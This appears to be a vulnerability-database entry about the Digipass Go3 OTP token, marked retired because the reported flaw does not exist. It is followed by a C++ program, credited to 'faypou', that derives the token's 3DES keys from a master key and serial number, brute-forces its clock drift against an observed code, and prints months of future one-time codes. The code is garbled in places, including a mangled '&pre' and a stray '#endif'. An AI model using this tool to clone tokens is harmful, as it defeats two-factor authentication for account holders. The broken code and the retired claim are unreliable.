source: http://www.securityfocus.com/bid/21040/info
Digipass Go3 is prone to an insecure-encryption vulnerability because the device uses an insecure encryption algorithm to encrypt sensitive data.
An attacker can exploit this issue to brute-force the encryption key and gain access to potentially sensitive data. This may lead to other attacks.
RETIRED: This BID is retired because the vulnerability as described does not exist.
/* (c) 2006-2006 faypou (a.k.a fc) */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <time.h>
#include <string.h>
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#pragma comment(lib, "libeay32.lib")
typedef unsigned __int64 uint64_t;
#else // _WIN32
#include <unistd.h>
#include <sys/time.h>
typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned int DWORD;
typedef const char * LPCSTR;
typedef unsigned long long uint64_t;
#endif // _WIN32
#include <openssl/des.h>
// ----------------------------------------------------------------------------
#define TRACE printf
#if 1
#define HIT_KEY_TO_CONTINUE() do { TRACE("\t\thit a key to continue\n");\
getc(stdin);\
}while (0)
#endif
//#define HIT_KEY_TO_CONTINUE()
// ----------------------------------------------------------------------------
#define SERIAL_LEN (5)
#define ARGC_COUNT (7)
#define MK __argv[1]
#define DEL __argv[2]
#define DKEY __argv[3]
#define TDKEY __argv[4]
#define OFFSET __argv[5]
#define SERIAL __argv[6]
#define TARGET __argv[7]
// ----------------------------------------------------------------------------
typedef struct Digipass_GO3_ctx_
{
BYTE vMasterKey [sizeof(DES_cblock) * 2];
BYTE vDEL [sizeof(DES_cblock) ];
BYTE vDES64KEY [sizeof(DES_cblock) ];
BYTE vA_TDES64KEY[sizeof(DES_cblock) ];
BYTE vA_OFFSET [sizeof(DES_cblock) ];
BYTE vSERIAL [SERIAL_LEN ];
// master keys
DES_key_schedule ks_master[2];
// hold 3DES 112 "master-derived" keys
DES_key_schedule ks_digipass[2];
DES_cblock digipass_k[2];
DES_cblock secret1; // 8 bytes
DES_cblock secret2; // 8 bytes
// only 3 first bytes used to derive OTPs
DES_cblock secret3;
// finally, token keys
DES_key_schedule ks_token[2];
} Digipass_GO3_ctx_t;
// ----------------------------------------------------------------------------
class CDigipassGO3
{
public:
CDigipassGO3() {
ResetState();
}
~CDigipassGO3() {
ResetState();
}
static BYTE inline TO_I(char c) {
BYTE cc = (BYTE) toupper((BYTE)c);
return ( c > '9' /* hex chars */ ) ? (cc - '7') : (cc - '0');
}
bool InitCtx( LPCSTR szMK,
LPCSTR szDEL,
LPCSTR szDKEY,
LPCSTR szTDKEY,
LPCSTR szOFFSET,
LPCSTR szSERIAL
);
void GetOTP(time_t start, char *GeneratedOTP = NULL);
bool Synchronize(LPCSTR szTarget);
time_t GetTimeDrift(void) {
return m_sync_delta;
}
LPCSTR GetOTP_Str(void) {
return m_szTokenCode;
}
enum {
// time step itself is fixed during Digipass init
TIME_WINDOW_SIZE = 100,
GO3_CODE_LEN = 6,
SEC_DELTA = 36,
GO3_PERIOD = (1 * SEC_DELTA)
};
private:
void ResetState(void) {
memset(this, 0, sizeof(*this));
}
void MakePreSecretFromSerial(DES_cblock &pre, BYTE ord);
bool DeriveKeys(void);
static bool ConvertHexStrToByteVector(LPCSTR szSTR, BYTE *pBase);
Digipass_GO3_ctx_t m_ctx;
BYTE *m_pDerivePinPtr;
size_t m_sync_delta;
char m_szTokenCode[GO3_CODE_LEN + 1];
};
// ----------------------------------------------------------------------------
// converts the hex string representation to byte vector representation;
// ----------------------------------------------------------------------------
bool CDigipassGO3::ConvertHexStrToByteVector(LPCSTR szSTR, BYTE *pBase)
{
size_t len = strlen(szSTR);
if ( len & 1 )
{
TRACE("\tmalformed hex_str not multiple of 2: '%s'...\n", szSTR);
return false;
}
TRACE("\tconverting '%s' to bin...\n", szSTR);
for ( size_t i = 0, j = 0; i < len; j++, i += 2 )
{
pBase[j] = (TO_I(szSTR[i]) << 4) + TO_I(szSTR[i + 1]);
}
return true;
}
// ----------------------------------------------------------------------------
//
// we received string material; make DigipassGO3 derivations;
//
// ----------------------------------------------------------------------------
bool CDigipassGO3::InitCtx( LPCSTR szMK,
LPCSTR szDEL,
LPCSTR szDKEY,
LPCSTR szTDKEY,
LPCSTR szOFFSET,
LPCSTR szSERIAL
)
{
if ( !ConvertHexStrToByteVector( szMK, m_ctx.vMasterKey ) ||
!ConvertHexStrToByteVector( szDEL, m_ctx.vDEL ) ||
!ConvertHexStrToByteVector( szDKEY, m_ctx.vDES64KEY ) ||
!ConvertHexStrToByteVector( szTDKEY, m_ctx.vA_TDES64KEY ) ||
!ConvertHexStrToByteVector( szOFFSET, m_ctx.vA_OFFSET ) ||
!ConvertHexStrToByteVector( szSERIAL, m_ctx.vSERIAL )
)
{
TRACE("\tcannot get str material....\n");
return false;
}
return DeriveKeys();
}
// ----------------------------------------------------------------------------
// prepare the secrets from token serial number; each one has hadcoded value;
// ----------------------------------------------------------------------------
void CDigipassGO3::MakePreSecretFromSerial(DES_cblock &pre, BYTE ord)
{
memset(&pre, 0, sizeof(DES_cblock));
BYTE *p = (BYTE *) ⪯
memcpy(p + (sizeof(DES_cblock) -SERIAL_LEN), m_ctx.vSERIAL, SERIAL_LEN);
if ( ord == 0x01 ) {
p[0] = 0x01;
}
else if ( ord == 0x02 ) {
p[1] = 0x10;
}
else if ( ord == 0x03 ) {
p[1] = 0x01;
}
}
// ----------------------------------------------------------------------------
// Here, the digipass derivation actually happens.
// ----------------------------------------------------------------------------
bool CDigipassGO3::DeriveKeys()
{
DES_cblock des1;
memcpy(&des1, m_ctx.vMasterKey, sizeof(DES_cblock));
DES_cblock des2;
memcpy(&des2, m_ctx.vMasterKey + sizeof(DES_cblock), sizeof(DES_cblock));
DES_set_key_unchecked(&des1, &m_ctx.ks_master[0]);
DES_set_key_unchecked(&des2, &m_ctx.ks_master[1]);
DES_ecb3_encrypt((DES_cblock *)m_ctx.vDEL, &m_ctx.digipass_k[0],
&m_ctx.ks_master[0], &m_ctx.ks_master[1], &m_ctx.ks_master[0],
DES_ENCRYPT
);
DES_ecb3_encrypt(&m_ctx.digipass_k[0], &m_ctx.digipass_k[1],
&m_ctx.ks_master[0], &m_ctx.ks_master[1], &m_ctx.ks_master[0],
DES_ENCRYPT
);
DES_set_odd_parity(&m_ctx.digipass_k[0]);
DES_set_odd_parity(&m_ctx.digipass_k[1]);
DES_set_key_unchecked(&m_ctx.digipass_k[0], &m_ctx.ks_digipass[0]);
DES_set_key_unchecked(&m_ctx.digipass_k[1], &m_ctx.ks_digipass[1]);
//
// ks_digipass[0] && ks_digipass[1]
//
DES_cblock pre1;
MakePreSecretFromSerial(pre1, 0x01);
DES_cblock a;
DES_cblock b;
DES_ecb3_encrypt(&pre1, &a,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
for ( int i = 0; i < sizeof(DES_cblock); i++ )
{
DES_cblock tmp;
memcpy(&tmp, (BYTE *)&a + i, sizeof(DES_cblock) -i);
memcpy((BYTE *)&tmp + sizeof(DES_cblock) -i, m_ctx.vDES64KEY, i);
DES_ecb3_encrypt(&tmp, &b,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
BYTE al = *(BYTE *) &b;
BYTE cl = m_ctx.vDES64KEY[i] ^ al;
((BYTE *)&m_ctx.secret1)[i] = cl;
}
DES_cblock pre2;
MakePreSecretFromSerial(pre2, 0x02);
DES_ecb3_encrypt(&pre2, &a,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
//
// FIXME: each loop/round should be unified in a separate function;
//
for ( int i = 0; i < sizeof(DES_cblock); i++ )
{
DES_cblock tmp;
memcpy(&tmp, (BYTE *)&a + i, sizeof(DES_cblock) -i);
memcpy((BYTE *)&tmp + sizeof(DES_cblock) -i, m_ctx.vA_TDES64KEY, i);
DES_ecb3_encrypt(&tmp, &b,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
BYTE al = *(BYTE *) &b;
BYTE cl = m_ctx.vA_TDES64KEY[i] ^ al;
((BYTE *)&m_ctx.secret2)[i] = cl;
}
DES_cblock pre3;
MakePreSecretFromSerial(pre3, 0x03);
DES_ecb3_encrypt(&pre3, &a,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
for ( int i = 0; i < sizeof(DES_cblock); i++ )
{
DES_cblock tmp;
memcpy(&tmp, (BYTE *)&a + i, sizeof(DES_cblock) -i);
memcpy((BYTE *)&tmp + sizeof(DES_cblock) -i, m_ctx.vA_OFFSET, i);
DES_ecb3_encrypt(&tmp, &b,
&m_ctx.ks_digipass[0], &m_ctx.ks_digipass[1], &m_ctx.ks_digipass[0],
DES_ENCRYPT
);
BYTE al = *(BYTE *) &b;
BYTE cl = m_ctx.vA_OFFSET[i] ^ al;
((BYTE *)&m_ctx.secret3)[i] = cl;
}
DES_set_key_unchecked(&m_ctx.secret1, &m_ctx.ks_token[0]);
DES_set_key_unchecked(&m_ctx.secret2, &m_ctx.ks_token[1]);
m_pDerivePinPtr = (BYTE *)&m_ctx.secret3;
TRACE("\tCDigipassGO3::DeriveKeys() done...\n");
return true;
}
// ----------------------------------------------------------------------------
// THE generator; start must have been sync'ed before generation;
// FIXME: thread unsafe outside MS CRT
// ----------------------------------------------------------------------------
void CDigipassGO3::GetOTP(time_t start, char *szTokenCode)
{
DES_cblock token_code = { 0 };
struct tm time_tm = *(gmtime(&start)); // here
DWORD dwTmpCalc31 = (DWORD) (time_tm.tm_min * 60);
dwTmpCalc31 += (DWORD) time_tm.tm_sec;
uint64_t tmp = (uint64_t) dwTmpCalc31 * (uint64_t)0x38E38E39;
tmp >>= 32;
tmp >>= 3;
BYTE calc1 = ((BYTE)(time_tm.tm_year / (TIME_WINDOW_SIZE / 10)) << 4) +
(BYTE)(time_tm.tm_year % 0x0A);
BYTE calc2 = ((BYTE)(time_tm.tm_hour / (TIME_WINDOW_SIZE / 10)) << 4) +
(BYTE)(time_tm.tm_hour % 0x0A);
BYTE calc3 = (((BYTE) tmp / 0x0A) * GO3_CODE_LEN) + (BYTE) tmp;
BYTE calcA = ((BYTE)(time_tm.tm_mday / (TIME_WINDOW_SIZE / 10)) << 4) +
(BYTE)(time_tm.tm_mday % 0x0A);
time_tm.tm_mon++; // time_tm.tm_mon + 1; // ok
BYTE calcB = ((BYTE)(time_tm.tm_mon / (TIME_WINDOW_SIZE / 10)) << 4) +
(BYTE)(time_tm.tm_mon % 0x0A);
// [0], [1], [2] - ok (secret3[0], secret3[1], secret3[2])
m_pDerivePinPtr[3] = calc1;
m_pDerivePinPtr[4] = calcB;
m_pDerivePinPtr[5] = calcA;
m_pDerivePinPtr[6] = calc2;
m_pDerivePinPtr[7] = calc3;
DES_ecb3_encrypt(&m_ctx.secret3, &token_code,
&m_ctx.ks_token[0], &m_ctx.ks_token[1], &m_ctx.ks_token[0],
DES_ENCRYPT
);
//
// extrated from fixed binary position
//
const static BYTE c_table[0x100] = {
0x92, 0x82, 0x55, 0x23, 0x90, 0x71, 0x22, 0x63,
0x37, 0x25, 0xFE, 0xFF, 0xFA, 0xFB, 0xFC, 0xFD,
0x59, 0x53, 0x06, 0x44, 0x79, 0x75, 0x88, 0x13,
0x64, 0x36, 0xEF, 0xEA, 0xEB, 0xEC, 0xED, 0xEE,
0x34, 0x46, 0x35, 0x21, 0x57, 0x27, 0x20, 0x65,
0x77, 0x03, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0x10, 0x78, 0x81, 0x49, 0x84, 0x01, 0x32, 0x96,
0x11, 0x02, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xCA,
0x04, 0x24, 0x00, 0x54, 0x45, 0x72, 0x87, 0x09,
0x73, 0x83, 0xBC, 0xBD, 0xBE, 0xBF, 0xBA, 0xBB,
0x76, 0x98, 0x12, 0x42, 0x38, 0x33, 0x94, 0x05,
0x91, 0x86, 0xAD, 0xAE, 0xAF, 0xAA, 0xAB, 0xAC,
0x28, 0x39, 0x68, 0x47, 0x15, 0x56, 0x60, 0x17,
0x99, 0x07, 0x9E, 0x9F, 0x9A, 0x9B, 0x9C, 0x9D,
0x26, 0x18, 0x50, 0x74, 0x93, 0x89, 0x70, 0x61,
0x31, 0x58, 0x8F, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E,
0x16, 0x69, 0x30, 0x08, 0x43, 0x85, 0x67, 0x62,
0x95, 0x48, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x52, 0x66, 0x14, 0x29, 0x19, 0x97, 0x51, 0x40,
0x80, 0x41, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x6A,
0xE5, 0xF4, 0xA3, 0xB2, 0xC1, 0xD0, 0xE9, 0xF8,
0xA7, 0xB6, 0x5C, 0x5D, 0x5E, 0x5F, 0x5A, 0x5B,
0xF5, 0xA4, 0xB3, 0xC2, 0xD1, 0xE0, 0xF9, 0xA8,
0xB7, 0xC6, 0x4D, 0x4E, 0x4F, 0x4A, 0x4B, 0x4C,
0xA5, 0xB4, 0xC3, 0xD2, 0xE1, 0xF0, 0xA9, 0xB8,
0xC7, 0xD6, 0x3E, 0x3F, 0x3A, 0x3B, 0x3C, 0x3D,
0xB5, 0xC4, 0xD3, 0xE2, 0xF1, 0xA0, 0xB9, 0xC8,
0xD7, 0xE6, 0x2F, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E,
0xC5, 0xD4, 0xE3, 0xF2, 0xA1, 0xB0, 0xC9, 0xD8,
0xE7, 0xF6, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0xD5, 0xE4, 0xF3, 0xA2, 0xB1, 0xC0, 0xD9, 0xE8,
0xF7, 0xA6, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x0A
};
BYTE *pTokenCode = (BYTE *) &token_code;
BYTE *pTokenCode2 = pTokenCode;
BYTE cl = pTokenCode[0];
BYTE dl = pTokenCode[2];
BYTE al = pTokenCode[3];
BYTE bl = 0;
dl ^= cl;
cl = pTokenCode[4];
pTokenCode[2] = dl;
dl = pTokenCode[1];
pTokenCode2 += 4;
al ^= dl;
dl = pTokenCode[5];
pTokenCode[3] = al;
al = pTokenCode[6];
cl ^= al;
pTokenCode2[0] = cl;
cl = pTokenCode[7];
dl ^= cl;
pTokenCode[5] = dl;
for ( int i = 0; i < sizeof(DES_cblock); i++ )
{
al = pTokenCode[i];
if ( al >= 0xA0 )
{
al -= 0x60;
}
pTokenCode[i] = al;
BYTE bl = al;
bl &= 0x0F;
if ( bl >= 0x0A )
{
al -= 0x06;
pTokenCode[i] = al;
}
}
dl = m_pDerivePinPtr[7];
pTokenCode[6] = dl;
for ( int i = 0; i < GO3_CODE_LEN; i++ )
{
for ( int j = 0; j < (GO3_CODE_LEN / 2); j++ )
{
al = pTokenCode2[j];
dl = al;
al &= 0x0F;
dl >>= 4;
DWORD dwTmp1 = (DWORD) dl;
DWORD dwTmp2 = (DWORD) al;
dwTmp1 &= 0x000000FF;
dwTmp2 &= 0x000000FF;
dwTmp1 <<= 4;
al = c_table[dwTmp1 + dwTmp2];
pTokenCode2[j] = al;
}
dl = pTokenCode2[1];
cl = pTokenCode2[2];
bl = dl;
al = cl;
bl &= 0x0F;
al &= 0x0F;
bl <<= 4;
cl >>= 4;
bl += cl;
cl = pTokenCode2[0];
pTokenCode2[2] = bl;
bl = cl;
bl &= 0x0F;
bl <<= 4;
dl >>= 4;
cl >>= 4;
al <<= 4;
bl += dl;
cl += al;
pTokenCode2[1] = bl;
pTokenCode2[0] = cl;
}
#endif
//
// optimized lookup convertion; see sprintf() disabled above;
//
const static char g_HexToStr[0x10] = {
'0', '1', '2', '3', '4',
'5', '6', '7', '8', '9',
//
// from now on, should never happen; they're
// wrong if reached; the extra padding avoids
// runtime "explosions";
//
'A', 'B', 'C', 'D','E', 'F'
};
//
// loop unrolled, still for optimization purposes;
//
m_szTokenCode[0x00] = g_HexToStr[((pTokenCode2[0] >> 4) & 0x0F)];
m_szTokenCode[0x01] = g_HexToStr[((pTokenCode2[0] >> 0) & 0x0F)];
m_szTokenCode[0x02] = g_HexToStr[((pTokenCode2[1] >> 4) & 0x0F)];
m_szTokenCode[0x03] = g_HexToStr[((pTokenCode2[1] >> 0) & 0x0F)];
m_szTokenCode[0x04] = g_HexToStr[((pTokenCode2[2] >> 4) & 0x0F)];
m_szTokenCode[0x05] = g_HexToStr[((pTokenCode2[2] >> 0) & 0x0F)];
m_szTokenCode[0x06] = '\0';
if ( szTokenCode != NULL )
strcpy(szTokenCode, m_szTokenCode);
}
// ----------------------------------------------------------------------------
// Try to find time drift between token and localtime();
// This can be positive, or negative; depends on kind of time drift;
// Brute-force approach; FIXME
// ----------------------------------------------------------------------------
bool CDigipassGO3::Synchronize(LPCSTR szTarget)
{
TRACE("\tSynchronize()ing with '%s'...\n", szTarget);
time_t start = time(NULL);
const size_t DAYS = 2 * (24 * 60 * 60); // 2 days in seconds
TRACE("\t\tbackwards...\n");
HIT_KEY_TO_CONTINUE();
//
// backwards
//
for ( m_sync_delta = 0; m_sync_delta < DAYS; m_sync_delta += GO3_PERIOD )
{
m_szTokenCode[0] = '\0';
GetOTP(start - m_sync_delta);
TRACE("\t\tround: %08u, %s:%s\n", m_sync_delta, szTarget, m_szTokenCode);
if ( strcmp(szTarget, m_szTokenCode) == 0 )
{
m_sync_delta = (~(DWORD)m_sync_delta) + 1; // negative, 2s-complement
TRACE("\t\tSynchronize() found negative drift!\n");
return true;
}
}
TRACE("\t\tupwards...\n");
HIT_KEY_TO_CONTINUE();
//
// upwards
//
for ( m_sync_delta = 0; m_sync_delta < DAYS; m_sync_delta += GO3_PERIOD )
{
m_szTokenCode[0] = '\0';
GetOTP(start + m_sync_delta);
TRACE("\t\tround: %08u, %s:%s\n", m_sync_delta, szTarget, m_szTokenCode);
if ( strcmp(szTarget, m_szTokenCode) == 0 )
{
TRACE("\t\tSynchronize() found positive drift!\n");
return true;
}
}
return false;
}
// ----------------------------------------------------------------------------
#ifndef _WIN32
int __argc;
char **__argv;
#endif // _WIN32
// ----------------------------------------------------------------------------
int main(int argc, char *argv[])
{
#ifndef _WIN32
__argc = argc;
__argv = argv;
#endif // _WIN32
if ( argc < ARGC_COUNT )
{
printf("\tincomplete arguments: MK DEL DKEY TDKEY OFFSET SERIAL [TARGET]\n");
return -1;
}
bool bHasTarget = false;
printf("\n");
if ( argc == (ARGC_COUNT + 1) )
{
bHasTarget = true;
printf("\t\tconvergence using '%s'...\n", TARGET);
}
CDigipassGO3 go3_token;
if ( !go3_token.InitCtx(MK, DEL, DKEY, TDKEY, OFFSET, SERIAL) )
{
printf("\t\tcannot init token ctx...\n");
return -2;
}
printf("\n");
time_t start = time(NULL);
if ( bHasTarget )
{
if ( !go3_token.Synchronize(TARGET) )
{
printf("\t\tSynchronize() did not converge. aborted :(\n");
return -3;
}
else
{
printf("\t\tdrif: 0x%08X...\n", go3_token.GetTimeDrift());
start += go3_token.GetTimeDrift();
HIT_KEY_TO_CONTINUE();
}
}
int round = 0;
const DWORD WAIT_MSEC = 51;
while ( true ) {
char *str_time = ctime(&start);
str_time[24] = '\0';
go3_token.GetOTP(start);
#if 0
printf("\ttoken code ('%s':%03d): '%s'...\n", str_time,
round, go3_token.GetOTP_Str()
);
#endif
// for database manipulation
printf("%d;%s\n", round, go3_token.GetOTP_Str());
#if 0
Sleep(WAIT_MSEC);
#endif
start += (CDigipassGO3::GO3_PERIOD);
round++;
if ( round > ((72000 + 10 + 2400) ) * 6) // ~ 6 month
break;
//if ( start < 0 ) // time_t are long's in Win32; overflowed!
// break;
}
return 0;
}
// ---------------------------------------------------------------------------
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation